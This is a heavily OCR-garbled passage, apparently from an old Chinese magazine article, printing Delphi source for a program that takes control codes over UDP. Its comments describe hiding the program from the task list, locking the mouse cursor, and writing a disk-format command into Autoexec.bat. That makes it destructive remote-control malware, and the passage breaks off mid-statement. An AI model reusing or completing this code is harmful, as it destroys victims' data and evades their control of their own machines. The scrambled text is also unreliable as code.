编辑: 人间点评 | 2016-09-01 |
2 0
0 3年11月
1 9 日) 壁 维普资讯 http://www.cqvip.com / / s h e l l a p i 需要shellapi.pas,mc i S e n d s t r i n g 需要mms y s ― t em . pa s t yp e TF O r m1 = c l a s s ( T F o r m) SUDP :TNM UDP;
L a b e l
1 :T L a b e l ;
L a b e l
2 :T L a b e l : L a b e l
3 :T L a b e l : L a b e l 4:TL a b e l : L a b e l 5:T L a b e l ;
L a b e l 6:T L a b e l : NM Da y T i m e
1 :T NM D a y T i me ;
E d i t
1 :TE d i t ;
p r o c e d u r e F o r mC r e a t e ( S e n d e r :T Ob j e c t ) : p r o c e d u r e SUDPDa t a R e c e i v e d( S e n d e r : T C omp o n e n t ;
Nu mb e r B y t e s : I n t e g e r ;
F r o mI P :St r i n g ;
P o r t :I n t e g e r ) : p r o c e d u r e F o r mD e s t r o y ( S e n d e r : T O b j e c t ) : p r o c e d u r e I c k ms e( ) : p r o c e d u r e u n ms e( ) : p r i v a t e p r o c e d u r e wi n e x i t ( v a r ms g:T me s s a g e) : me s s a g e W M _ QUE R YE NDS E S SI ON;
{P r i v a t e d e c l a r a t i o n s ) p u b l i c {P u b l i c d e c l a r a t i o n s) e n d : var F o r m
1 :TF o r m
1 : i m p l e m e n t a t i o n c o n s t B u f S i z e=2
0 4
8 ;
{发送每 一笔数据 的缓 中区大小 } var B m p S t r e a m : T M e mo r yS t r e a m : { $ R . DF M) / / 获取计算机名 f u n c t i o n Co mp u t e r Na m e :S t r i n g ;
var CNa me Bu f f e r: P Ch a r ;
f l l o a d e d :B o o l e a n ;
CL e n : DW o r d;
b e g i n Ge t Me m ( CNa me B u f fe r ,
2 5 5) : Ne w( CL e n) : CL en :=
2 5 5;
f l l o a d e d := Ge t Co mp u t er Na me( CNa me B u f f e r , CL e n ) : i f f l I o a d e d t h e n Co mp u t e r Na me :: S t r P a s( CNa me Bu f f e r ) el se C o mp u t e r N a me := 不 知道 ! : F r e e Me m( CNa me Bu f f e f . ,
2 5 5) : Di s p o s e( CL e n ) : e n d ;
p r o c e d u r e TF o r m1 . I c k ms e( ) : I v a r l r t f i el d :TR e c t ;
I b e g i n I r t f i e l d:= R e c t (
0 ,0,1 ,1 ) : I / /限制鼠 标移动区 域lClipCursor(@rtfield):Iend;
IprocedureTForm1.unmse():lvarlrtScreen:TRect;
IbeginI//解除限制 I r t S c r e e n : =R e c t (
0 ,
0 , S c r e e n . Wi d t h , S c r e e n . H e i g h t ) : I C l i p C u r s o r ( @ r t S c r e e n ) : I e n d ;
I p r o c e d u r e T F o r m
1 . F o r m C r e a t e ( S e n d e r : T O b j e c t ) : l b e l a p p l i c a t i o n . T i t l e : = ~ : I / / 应用程 序没有名称 , 按Ctrl+AIt+D e l 时看不到程序 I / / a p p l i c a t i o n . s h o w m a i n f o r m : = f a l s e ;
I / / 程序运行时不显示 I B m p S t r e a m : = T M e m o r y S t r e a m . C r e a t e ;
l / / 用T N M D a y T i m e 控件获得服务 器 端的I P 地址I//实际上 F a s t N e t 面板上的 T N M 系列都有 L o c a l l P属性 , 均可 I 用于获得I P 地址. I E D I T
1 . T E X T : = N M D a y T i m e
1 . L o c a l l P I e n d ;
I / / 退出程序 I p r o c e d u r e T f o r m
1 . w i n e x i t ( v a r m s g : T m e s s a g e ) : I b e I ms g . R e s u l t : =1 : I a p p l i c a t i o n . P r o c e s s M e s s a g e s ;
I a p p l i c a t i o n . T e r m i n a t e ;
I e n d ;
I p r o c e d u r e T F o r m
1 . S U D P D a t a R e c e i v e d ( S e n d e r :T C o m p o - I ne I N u m b e r B y t e s : I n t e g e r ;
F r o m I P : S t r i n g ;
P o r t : I n t e g e r ) : I var l C t r I C o d e : a r r a y
1 0 . .
2 5
0 1 o f c h a r ;
I T r u n : s t r i n g ;
I h D e s k t o p: T h a n d l e ;
I f o r c , f o r d : t e x t f i l e ;
l / / 向Autoexec.bat写格式化命令IbeginISUDP.ReadBuffer(CtrICode,NumberBytes):l//读取控制码lifCtrlCo d e[ 0]+C t r I Co d e[